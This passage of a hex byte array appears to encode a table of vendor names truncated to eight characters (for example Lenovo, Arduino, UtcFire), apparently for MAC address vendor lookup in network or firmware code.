0x6e, 0x64, 0x61, 0x57, 0x69, 0x72,\r\n0x55, 0x74, 0x63, 0x46, 0x69, 0x72, 0x65, 0x41,\r\n0x52, 0x69, 0x63, 0x61, 0x72, 0x64, 0x6f, 0x50,\r\n0x41, 0x72, 0x65, 0x76, 0x61, 0x4e, 0x70, 0x00,\r\n0x4d, 0x65, 0x73, 0x6f, 0x6d, 0x61, 0x74, 0x69,\r\n0x41, 0x65, 0x74, 0x68, 0x65, 0x72, 0x69, 0x73,\r\n0x4f, 0x74, 0x73, 0x6c, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x78, 0x70, 0x61, 0x53, 0x79, 0x73,\r\n0x43, 0x65, 0x6e, 0x74, 0x75, 0x72, 0x79, 0x6c,\r\n0x57, 0x69, 0x65, 0x73, 0x6f, 0x6e, 0x54, 0x65,\r\n0x53, 0x6b, 0x74, 0x62, 0x53, 0x6b, 0x69, 0x74,\r\n0x54, 0x61, 0x62, 0x75, 0x63, 0x68, 0x69, 0x45,\r\n0x48, 0x69, 0x74, 0x69, 0x44, 0x69, 0x67, 0x69,\r\n0x54, 0x72, 0x69, 0x74, 0x65, 0x6b, 0x61, 0x00,\r\n0x42, 0x65, 0x72, 0x74, 0x65, 0x6c, 0x53, 0x50,\r\n0x4e, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x6c,\r\n0x4d, 0x69, 0x6e, 0x69, 0x78, 0x54, 0x65, 0x63,\r\n0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x70,\r\n0x54, 0x72, 0x61, 0x63, 0x6b, 0x72, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x68, 0x65,\r\n0x45, 0x74, 0x74, 0x75, 0x73, 0x52, 0x65, 0x73,\r\n0x4f, 0x75, 0x72, 0x61, 0x48, 0x65, 0x61, 0x6c,\r\n0x50, 0x73, 0x73, 0x42, 0x65, 0x6c, 0x67, 0x69,\r\n0x49, 0x6e, 0x73, 0x70, 0x69, 0x72, 0x65, 0x54,\r\n0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x63, 0x61,\r\n0x53, 0x61, 0x6d, 0x77, 0x6f, 0x6e, 0x66, 0x61,\r\n0x4f, 0x70, 0x73, 0x65, 0x6e, 0x73, 0x53, 0x6f,\r\n0x4e, 0x6c, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x74,\r\n0x53, 0x69, 0x74, 0x61, 0x65, 0x6c, 0x53, 0x50,\r\n0x48, 0x65, 0x6c, 0x69, 0x78, 0x74, 0x65, 0x63,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x45,\r\n0x56, 0x44, 0x53, 0x56, 0x69, 0x64, 0x65, 0x6f,\r\n0x47, 0x72, 0x61, 0x6e, 0x64, 0x50, 0x72, 0x6f,\r\n0x45, 0x6e, 0x76, 0x69, 0x6e, 0x65, 0x74, 0x00,\r\n0x54, 0x6d, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x76, 0x00,\r\n0x4d, 0x65, 0x6c, 0x70, 0x65, 0x72, 0x00, 0x00,\r\n0x56, 0x6e, 0x70, 0x74, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x69, 0x63, 0x6f, 0x6e, 0x53, 0x72, 0x6c,\r\n0x57, 0x65, 0x6c, 0x6c, 0x61, 0x76, 0x54, 0x65,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x63, 0x61, 0x6e,\r\n0x4e, 0x61, 0x6e, 0x6f, 0x74, 0x65, 0x6b, 0x45,\r\n0x4e, 0x6a, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x43, 0x61, 0x73, 0x68, 0x6d, 0x61, 0x73, 0x74,\r\n0x52, 0x61, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x54,\r\n0x42, 0x6f, 0x78, 0x6c, 0x6f, 0x63, 0x6b, 0x00,\r\n0x56, 0x69, 0x61, 0x6c, 0x69, 0x73, 0x42, 0x76,\r\n0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x44, 0x6d,\r\n0x50, 0x54, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x6e, 0x69, 0x63, 0x73, 0x65, 0x6e,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x46,\r\n0x53, 0x61, 0x65, 0x68, 0x61, 0x6e, 0x48, 0x69,\r\n0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x4b,\r\n0x47, 0x65, 0x72, 0x68, 0x61, 0x72, 0x64, 0x44,\r\n0x58, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x54, 0x65,\r\n0x56, 0x65, 0x65, 0x64, 0x69, 0x6d, 0x73, 0x4c,\r\n0x4f, 0x70, 0x65, 0x6e, 0x76, 0x6f, 0x78, 0x43,\r\n0x54, 0x69, 0x6d, 0x65, 0x44, 0x6f, 0x6d, 0x61,\r\n0x54, 0x6f, 0x74, 0x61, 0x6c, 0x41, 0x76, 0x69,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x62, 0x72, 0x69,\r\n0x44, 0x6c, 0x69, 0x54, 0x61, 0x69, 0x77, 0x61,\r\n0x47, 0x70, 0x6d, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x6c, 0x79, 0x74, 0x72, 0x6f, 0x6e,\r\n0x45, 0x72, 0x61, 0x74, 0x68, 0x69, 0x6e, 0x6b,\r\n0x4a, 0x6d, 0x72, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x48, 0x61, 0x6c, 0x6f, 0x6e, 0x67, 0x4d, 0x69,\r\n0x47, 0x64, 0x4d, 0x69, 0x73, 0x73, 0x69, 0x6f,\r\n0x41, 0x63, 0x75, 0x74, 0x76, 0x69, 0x73, 0x74,\r\n0x41, 0x6d, 0x67, 0x65, 0x6e, 0x55, 0x53, 0x41,\r\n0x53, 0x6b, 0x79, 0x74, 0x61, 0x70, 0x00, 0x00,\r\n0x50, 0x69, 0x78, 0x6f, 0x6e, 0x49, 0x6d, 0x61,\r\n0x53, 0x43, 0x41, 0x64, 0x64, 0x2d, 0x50, 0x72,\r\n0x43, 0x6f, 0x72, 0x65, 0x73, 0x79, 0x73, 0x00,\r\n0x43, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x56, 0x69,\r\n0x54, 0x72, 0x69, 0x74, 0x6f, 0x6e, 0x45, 0x6c,\r\n0x53, 0x79, 0x67, 0x6e, 0x48, 0x6f, 0x75, 0x73,\r\n0x43, 0x65, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00,\r\n0x41, 0x78, 0x70, 0x72, 0x6f, 0x54, 0x65, 0x63,\r\n0x41, 0x75, 0x6d, 0x61, 0x52, 0x69, 0x65, 0x73,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x47,\r\n0x42, 0x65, 0x63, 0x6b, 0x65, 0x72, 0x2d, 0x41,\r\n0x50, 0x6f, 0x6c, 0x61, 0x72, 0x6c, 0x69, 0x6e,\r\n0x4a, 0x73, 0x63, 0x49, 0x72, 0x62, 0x69, 0x73,\r\n0x41, 0x76, 0x74, 0x72, 0x61, 0x63, 0x65, 0x43,\r\n0x41, 0x6d, 0x69, 0x63, 0x75, 0x73, 0x53, 0x6b,\r\n0x44, 0x61, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63, 0x42,\r\n0x45, 0x6e, 0x69, 0x6d, 0x61, 0x69, 0x00, 0x00,\r\n0x4d, 0x61, 0x74, 0x69, 0x73, 0x00, 0x00, 0x00,\r\n0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x46, 0x72,\r\n0x41, 0x69, 0x72, 0x63, 0x75, 0x76, 0x65, 0x00,\r\n0x53, 0x65, 0x69, 0x6e, 0x65, 0x49, 0x6d, 0x61,\r\n0x47, 0x65, 0x4d, 0x65, 0x64, 0x69, 0x63, 0x61,\r\n0x56, 0x69, 0x76, 0x61, 0x74, 0x65, 0x6c, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x67, 0x72, 0x61, 0x66,\r\n0x41, 0x76, 0x61, 0x74, 0x41, 0x75, 0x74, 0x6f,\r\n0x41, 0x62, 0x69, 0x73, 0x79, 0x73, 0x74, 0x65,\r\n0x53, 0x74, 0x61, 0x49, 0x6e, 0x66, 0x69, 0x6e,\r\n0x41, 0x6c, 0x66, 0x72, 0x65, 0x64, 0x4b, 0x61,\r\n0x43, 0x61, 0x72, 0x72, 0x79, 0x54, 0x65, 0x63,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x49, 0x6e,\r\n0x4c, 0x75, 0x78, 0x75, 0x6c, 0x00, 0x00, 0x00,\r\n0x46, 0x61, 0x73, 0x74, 0x65, 0x63, 0x49, 0x6d,\r\n0x46, 0x6c, 0x61, 0x74, 0x66, 0x72, 0x6f, 0x67,\r\n0x43, 0x61, 0x6d, 0x62, 0x72, 0x69, 0x6f, 0x6e,\r\n0x42, 0x6c, 0x75, 0x65, 0x73, 0x6b, 0x79, 0x00,\r\n0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x77, 0x6f,\r\n0x46, 0x69, 0x62, 0x72, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x41, 0x6c,\r\n0x52, 0x66, 0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e,\r\n0x50, 0x6c, 0x61, 0x73, 0x74, 0x69, 0x63, 0x4c,\r\n0x56, 0x65, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x6f, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x6d, 0x74, 0x72, 0x61, 0x6e, 0x56, 0x69,\r\n0x53, 0x75, 0x6e, 0x43, 0x75, 0x70, 0x69, 0x64,\r\n0x42, 0x75, 0x73, 0x77, 0x61, 0x72, 0x65, 0x44,\r\n0x46, 0x65, 0x6e, 0x67, 0x6c, 0x69, 0x61, 0x6e,\r\n0x4d, 0x63, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x2d, 0x45, 0x6c,\r\n0x44, 0x73, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c,\r\n0x4c, 0x74, 0x69, 0x52, 0x65, 0x65, 0x6e, 0x65,\r\n0x44, 0x66, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x4b, 0x6c, 0x69, 0x6e, 0x66, 0x6f, 0x00, 0x00,\r\n0x56, 0x69, 0x62, 0x69, 0x63, 0x6f, 0x6d, 0x43,\r\n0x55, 0x6c, 0x74, 0x69, 0x6d, 0x65, 0x64, 0x69,\r\n0x43, 0x68, 0x61, 0x72, 0x67, 0x65, 0x73, 0x74,\r\n0x43, 0x6f, 0x62, 0x68, 0x61, 0x6d, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x72, 0x69, 0x75, 0x6d, 0x00,\r\n0x51, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f,\r\n0x41, 0x72, 0x6b, 0x49, 0x6e, 0x66, 0x6f, 0x73,\r\n0x4c, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x00, 0x00,\r\n0x44, 0x65, 0x6c, 0x61, 0x76, 0x61, 0x6c, 0x49,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x45, 0x6c,\r\n0x48, 0x79, 0x62, 0x72, 0x69, 0x64, 0x73, 0x65,\r\n0x4b, 0x65, 0x74, 0x72, 0x61, 0x00, 0x00, 0x00,\r\n0x41, 0x75, 0x74, 0x6f, 0x63, 0x72, 0x69, 0x62,\r\n0x4c, 0x79, 0x76, 0x65, 0x4d, 0x69, 0x6e, 0x64,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x75, 0x62, 0x65,\r\n0x42, 0x6c, 0x75, 0x65, 0x62, 0x61, 0x6e, 0x6b,\r\n0x52, 0x61, 0x67, 0x73, 0x64, 0x61, 0x6c, 0x65,\r\n0x56, 0x69, 0x74, 0x65, 0x63, 0x47, 0x72, 0x6f,\r\n0x4d, 0x61, 0x65, 0x73, 0x74, 0x72, 0x6f, 0x57,\r\n0x41, 0x72, 0x61, 0x6e, 0x74, 0x69, 0x61, 0x32,\r\n0x48, 0x5a, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x00,\r\n0x41, 0x64, 0x61, 0x78, 0x79, 0x73, 0x53, 0x6f,\r\n0x4a, 0x73, 0x63, 0x53, 0x64, 0x6f, 0x43, 0x68,\r\n0x50, 0x65, 0x6e, 0x74, 0x61, 0x47, 0x65, 0x73,\r\n0x50, 0x61, 0x72, 0x6b, 0x69, 0x6e, 0x67, 0x42,\r\n0x4c, 0x69, 0x6d, 0x65, 0x49, 0x6e, 0x73, 0x74,\r\n0x45, 0x75, 0x74, 0x72, 0x6f, 0x76, 0x69, 0x73,\r\n0x54, 0x65, 0x6c, 0x69, 0x6e, 0x6b, 0x53, 0x65,\r\n0x49, 0x6e, 0x66, 0x69, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x45, 0x72, 0x77, 0x69, 0x6e, 0x50, 0x65, 0x74,\r\n0x45, 0x63, 0x6f, 0x74, 0x61, 0x6c, 0x69, 0x74,\r\n0x47, 0x6c, 0x69, 0x74, 0x65, 0x6c, 0x53, 0x74,\r\n0x47, 0x69, 0x6d, 0x62, 0x61, 0x6c, 0x00, 0x00,\r\n0x4e, 0x65, 0x78, 0x75, 0x73, 0x49, 0x64, 0x53,\r\n0x42, 0x69, 0x6f, 0x6e, 0x69, 0x63, 0x73, 0x00,\r\n0x4b, 0x69, 0x6e, 0x67, 0x73, 0x70, 0x61, 0x6e,\r\n0x54, 0x6f, 0x74, 0x61, 0x6c, 0x57, 0x61, 0x6c,\r\n0x51, 0x6c, 0x6f, 0x76, 0x65, 0x4d, 0x6f, 0x62,\r\n0x46, 0x69, 0x6c, 0x69, 0x7a, 0x6f, 0x6c, 0x61,\r\n0x44, 0x65, 0x6e, 0x79, 0x46, 0x6f, 0x6e, 0x74,\r\n0x47, 0x65, 0x73, 0x73, 0x6c, 0x65, 0x72, 0x00,\r\n0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x78, 0x00, 0x00,\r\n0x48, 0x6f, 0x6e, 0x65, 0x73, 0x74, 0x54, 0x65,\r\n0x54, 0x65, 0x6c, 0x65, 0x77, 0x61, 0x76, 0x65,\r\n0x4f, 0x70, 0x65, 0x6e, 0x53, 0x6f, 0x75, 0x72,\r\n0x43, 0x68, 0x6f, 0x66, 0x75, 0x53, 0x65, 0x69,\r\n0x49, 0x6d, 0x61, 0x67, 0x6f, 0x54, 0x65, 0x63,\r\n0x42, 0x72, 0x65, 0x61, 0x74, 0x68, 0x6f, 0x6d,\r\n0x58, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x6f, 0x78, 0x74, 0x65, 0x6c, 0x4d, 0x61,\r\n0x4b, 0x72, 0x79, 0x70, 0x74, 0x6f, 0x6e, 0x50,\r\n0x5a, 0x61, 0x6f, 0x4e, 0x70, 0x6f, 0x49, 0x6e,\r\n0x53, 0x68, 0x69, 0x6e, 0x61, 0x53, 0x79, 0x73,\r\n0x44, 0x69, 0x67, 0x69, 0x63, 0x6f, 0x6d, 0x46,\r\n0x46, 0x72, 0x6f, 0x67, 0x62, 0x6c, 0x75, 0x65,\r\n0x44, 0x72, 0x61, 0x67, 0x69, 0x6e, 0x6f, 0x54,\r\n0x53, 0x69, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74,\r\n0x46, 0x69, 0x72, 0x69, 0x63, 0x68, 0x45, 0x6e,\r\n0x4c, 0x69, 0x73, 0x61, 0x6e, 0x74, 0x65, 0x63,\r\n0x50, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x6e, 0x65,\r\n0x41, 0x75, 0x64, 0x69, 0x76, 0x6f, 0x00, 0x00,\r\n0x31, 0x32, 0x73, 0x69, 0x64, 0x65, 0x64, 0x54,\r\n0x41, 0x72, 0x64, 0x75, 0x69, 0x6e, 0x6f, 0x00,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x76, 0x69, 0x65,\r\n0x4a, 0x69, 0x77, 0x75, 0x6d, 0x65, 0x64, 0x69,\r\n0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x69, 0x72,\r\n0x4e, 0x69, 0x6d, 0x62, 0x75, 0x73, 0x39, 0x00,\r\n0x48, 0x61, 0x6e, 0x62, 0x69, 0x74, 0x65, 0x64,\r\n0x55, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x6d, 0x00,\r\n0x49, 0x64, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x72, 0x65, 0x65, 0x74, 0x65, 0x6b, 0x49,\r\n0x41, 0x76, 0x65, 0x6e, 0x74, 0x75, 0x72, 0x61,\r\n0x5a, 0x6f, 0x6e, 0x6f, 0x66, 0x66, 0x00, 0x00,\r\n0x42, 0x6d, 0x65, 0x79, 0x65, 0x42, 0x56, 0x00,\r\n0x43, 0x69, 0x62, 0x6e, 0x4f, 0x72, 0x69, 0x65,\r\n0x41, 0x72, 0x63, 0x57, 0x69, 0x72, 0x65, 0x6c,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6d, 0x61, 0x64,\r\n0x53, 0x75, 0x6e, 0x64, 0x72, 0x6f, 0x69, 0x64,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x4a,\r\n0x41, 0x6b, 0x65, 0x72, 0x53, 0x75, 0x62, 0x73,\r\n0x53, 0x68, 0x69, 0x6e, 0x62, 0x6f, 0x00, 0x00,\r\n0x41, 0x69, 0x7a, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x6d, 0x6f, 0x74, 0x69, 0x6f, 0x6e,\r\n0x54, 0x61, 0x63, 0x74, 0x69, 0x63, 0x61, 0x6c,\r\n0x4d, 0x73, 0x66, 0x2d, 0x56, 0x61, 0x74, 0x68,\r\n0x4c, 0x65, 0x6f, 0x6e, 0x69, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x7a, 0x49, 0x6f, 0x74, 0x00, 0x00,\r\n0x48, 0x6f, 0x6e, 0x65, 0x79, 0x42, 0x65, 0x65,\r\n0x54, 0x6d, 0x2d, 0x52, 0x65, 0x73, 0x65, 0x61,\r\n0x52, 0x6f, 0x71, 0x6f, 0x73, 0x00, 0x00, 0x00,\r\n0x45, 0x61, 0x73, 0x74, 0x42, 0x65, 0x73, 0x74,\r\n0x53, 0x61, 0x61, 0x62, 0x50, 0x75, 0x62, 0x6c,\r\n0x43, 0x76, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x63, 0x68, 0x45,\r\n0x4c, 0x69, 0x67, 0x68, 0x74, 0x77, 0x61, 0x72,\r\n0x54, 0x6f, 0x70, 0x63, 0x6f, 0x6e, 0x45, 0x6c,\r\n0x55, 0x73, 0x61, 0x31, 0x31, 0x31, 0x00, 0x00,\r\n0x41, 0x76, 0x69, 0x72, 0x61, 0x4f, 0x70, 0x65,\r\n0x41, 0x73, 0x63, 0x65, 0x6e, 0x73, 0x69, 0x61,\r\n0x57, 0x79, 0x63, 0x6f, 0x6e, 0x6e, 0x00, 0x00,\r\n0x4a, 0x75, 0x77, 0x65, 0x6c, 0x41, 0x71, 0x75,\r\n0x49, 0x6e, 0x69, 0x6d, 0x45, 0x6c, 0x65, 0x63,\r\n0x4d, 0x75, 0x75, 0x73, 0x65, 0x6c, 0x61, 0x62,\r\n0x54, 0x72, 0x69, 0x74, 0x6f, 0x6e, 0x77, 0x61,\r\n0x45, 0x6c, 0x74, 0x65, 0x78, 0x45, 0x6e, 0x74,\r\n0x57, 0x69, 0x73, 0x65, 0x73, 0x65, 0x63, 0x4c,\r\n0x43, 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x69, 0x64,\r\n0x44, 0x65, 0x63, 0x4f, 0x62, 0x73, 0x6f, 0x6c,\r\n0x44, 0x65, 0x63, 0x47, 0x6c, 0x6f, 0x62, 0x61,\r\n0x44, 0x65, 0x63, 0x4c, 0x6f, 0x63, 0x61, 0x6c,\r\n0x59, 0x61, 0x6d, 0x61, 0x69, 0x63, 0x68, 0x69,\r\n0x4b, 0x61, 0x6c, 0x6f, 0x6f, 0x6d, 0x00, 0x00,\r\n0x54, 0x69, 0x6e, 0x74, 0x72, 0x69, 0x00, 0x00,\r\n0x55, 0x72, 0x69, 0x65, 0x6c, 0x54, 0x65, 0x63,\r\n0x48, 0x69, 0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69,\r\n0x52, 0x77, 0x54, 0x65, 0x63, 0x6e, 0x6f, 0x6c,\r\n0x43, 0x6f, 0x6d, 0x73, 0x69, 0x73, 0x00, 0x00,\r\n0x50, 0x65, 0x6c, 0x6f, 0x74, 0x6f, 0x6e, 0x49,\r\n0x53, 0x65, 0x6e, 0x73, 0x65, 0x6c, 0x6f, 0x67,\r\n0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x6e, 0x65,\r\n0x4c, 0x61, 0x62, 0x6f, 0x72, 0x53, 0x52, 0x4c,\r\n0x45, 0x6b, 0x6f, 0x6e, 0x2d, 0x4d, 0x79, 0x67,\r\n0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x48, 0x6f,\r\n0x41, 0x74, 0x61, 0x77, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x2d, 0x44, 0x61, 0x71, 0x00, 0x00,\r\n0x46, 0x69, 0x62, 0x61, 0x72, 0x47, 0x72, 0x6f,\r\n0x53, 0x75, 0x6e, 0x67, 0x72, 0x6f, 0x77, 0x50,\r\n0x52, 0x65, 0x61, 0x6c, 0x56, 0x69, 0x73, 0x69,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x54, 0x69, 0x61,\r\n0x44, 0x6d, 0x61, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x43, 0x73, 0x72, 0x5a, 0x68, 0x75, 0x7a, 0x68,\r\n0x54, 0x78, 0x74, 0x72, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x75, 0x6d, 0x61, 0x6e, 0x6e, 0x69, 0x78,\r\n0x53, 0x68, 0x61, 0x6e, 0x68, 0x61, 0x69, 0x47,\r\n0x4e, 0x69, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x73,\r\n0x43, 0x26, 0x54, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x45, 0x63, 0x6c, 0x69, 0x70, 0x73, 0x65, 0x45,\r\n0x47, 0x65, 0x6e, 0x65, 0x6c, 0x65, 0x63, 0x00,\r\n0x52, 0x61, 0x6c, 0x69, 0x6e, 0x77, 0x69, 0x4e,\r\n0x53, 0x76, 0x73, 0x2d, 0x56, 0x69, 0x73, 0x74,\r\n0x4d, 0x70, 0x69, 0x54, 0x65, 0x63, 0x68, 0x00,\r\n0x49, 0x65, 0x65, 0x65, 0x50, 0x31, 0x38, 0x32,\r\n0x48, 0x75, 0x6d, 0x61, 0x6e, 0x41, 0x73, 0x73,\r\n0x4a, 0x63, 0x74, 0x48, 0x65, 0x61, 0x6c, 0x74,\r\n0x50, 0x61, 0x63, 0x65, 0x41, 0x6d, 0x65, 0x72,\r\n0x55, 0x74, 0x69, 0x6c, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x44, 0x72, 0x69, 0x76, 0x76, 0x65, 0x6e, 0x00,\r\n0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x63,\r\n0x4a, 0x65, 0x6e, 0x6e, 0x79, 0x53, 0x63, 0x69,\r\n0x45, 0x6e, 0x73, 0x70, 0x65, 0x72, 0x74, 0x00,\r\n0x54, 0x61, 0x74, 0x75, 0x6e, 0x67, 0x54, 0x65,\r\n0x56, 0x61, 0x6c, 0x75, 0x65, 0x70, 0x6c, 0x75,\r\n0x4c, 0x65, 0x78, 0x6b, 0x69, 0x6e, 0x67, 0x54,\r\n0x49, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74,\r\n0x48, 0x65, 0x78, 0x61, 0x74, 0x72, 0x6f, 0x6e,\r\n0x49, 0x6d, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x74,\r\n0x4f, 0x70, 0x65, 0x6e, 0x4d, 0x65, 0x73, 0x68,\r\n0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4e, 0x65,\r\n0x52, 0x6f, 0x67, 0x65, 0x72, 0x44, 0x57, 0x65,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x72, 0x6f, 0x76,\r\n0x4c, 0x61, 0x6e, 0x74, 0x69, 0x71, 0x44, 0x65,\r\n0x53, 0x6d, 0x61, 0x6b, 0x54, 0x65, 0x63, 0x6e,\r\n0x42, 0x61, 0x79, 0x63, 0x69, 0x74, 0x79, 0x54,\r\n0x54, 0x72, 0x65, 0x6b, 0x73, 0x74, 0x6f, 0x72,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x65, 0x6e, 0x67,\r\n0x4c, 0x79, 0x6e, 0x67, 0x73, 0x6f, 0x4d, 0x61,\r\n0x41, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x65, 0x6b,\r\n0x55, 0x6e, 0x69, 0x62, 0x61, 0x6e, 0x64, 0x45,\r\n0x49, 0x6d, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00,\r\n0x55, 0x66, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x63,\r\n0x56, 0x69, 0x73, 0x75, 0x61, 0x6c, 0x65, 0x64,\r\n0x43, 0x6c, 0x74, 0x49, 0x6e, 0x74, 0x4c, 0x49,\r\n0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x50, 0x61,\r\n0x47, 0x72, 0x61, 0x70, 0x68, 0x69, 0x74, 0x65,\r\n0x4b, 0x6f, 0x68, 0x7a, 0x75, 0x50, 0x72, 0x65,\r\n0x56, 0x69, 0x74, 0x73, 0x6d, 0x6f, 0x00, 0x00,\r\n0x4e, 0x65, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x6c, 0x64, 0x75, 0x73, 0x54,\r\n0x4f, 0x64, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x45,\r\n0x4d, 0x69, 0x64, 0x6f, 0x6b, 0x75, 0x72, 0x61,\r\n0x48, 0x65, 0x66, 0x63, 0x6f, 0x6d, 0x4d, 0x65,\r\n0x48, 0x77, 0x61, 0x59, 0x61, 0x6f, 0x54, 0x65,\r\n0x48, 0x69, 0x2d, 0x46, 0x6c, 0x79, 0x69, 0x6e,\r\n0x43, 0x72, 0x65, 0x78, 0x65, 0x6e, 0x64, 0x6f,\r\n0x41, 0x62, 0x62, 0x41, 0x62, 0x62, 0x53, 0x61,\r\n0x53, 0x68, 0x61, 0x61, 0x6e, 0x78, 0x69, 0x47,\r\n0x54, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x63, 0x74, 0x65, 0x72, 0x47,\r\n0x49, 0x73, 0x61, 0x61, 0x63, 0x49, 0x6e, 0x73,\r\n0x4d, 0x61, 0x64, 0x67, 0x65, 0x74, 0x65, 0x63,\r\n0x53, 0x6b, 0x48, 0x79, 0x6e, 0x69, 0x78, 0x00,\r\n0x44, 0x6f, 0x70, 0x70, 0x6c, 0x65, 0x72, 0x4c,\r\n0x42, 0x79, 0x74, 0x65, 0x6d, 0x61, 0x72, 0x6b,\r\n0x49, 0x6f, 0x74, 0x54, 0x65, 0x63, 0x68, 0x00,\r\n0x48, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x65, 0x6e, 0x69, 0x78, 0x49, 0x6e, 0x66,\r\n0x36, 0x68, 0x61, 0x72, 0x6d, 0x6f, 0x6e, 0x69,\r\n0x42, 0x65, 0x63, 0x6b, 0x65, 0x72, 0x45, 0x6c,\r\n0x45, 0x6c, 0x65, 0x73, 0x79, 0x73, 0x00, 0x00,\r\n0x56, 0x69, 0x74, 0x61, 0x6c, 0x43, 0x6f, 0x6e,\r\n0x41, 0x76, 0x69, 0x7a, 0x69, 0x61, 0x00, 0x00,\r\n0x52, 0x69, 0x6e, 0x67, 0x53, 0x6f, 0x6c, 0x75,\r\n0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x73,\r\n0x46, 0x75, 0x74, 0x61, 0x62, 0x61, 0x2d, 0x4b,\r\n0x4c, 0x69, 0x67, 0x68, 0x74, 0x73, 0x70, 0x65,\r\n0x45, 0x64, 0x69, 0x73, 0x6f, 0x6e, 0x47, 0x6c,\r\n0x4f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x41, 0x53,\r\n0x4c, 0x65, 0x53, 0x68, 0x69, 0x5a, 0x68, 0x69,\r\n0x45, 0x6c, 0x69, 0x6d, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x65, 0x6c, 0x76, 0x65, 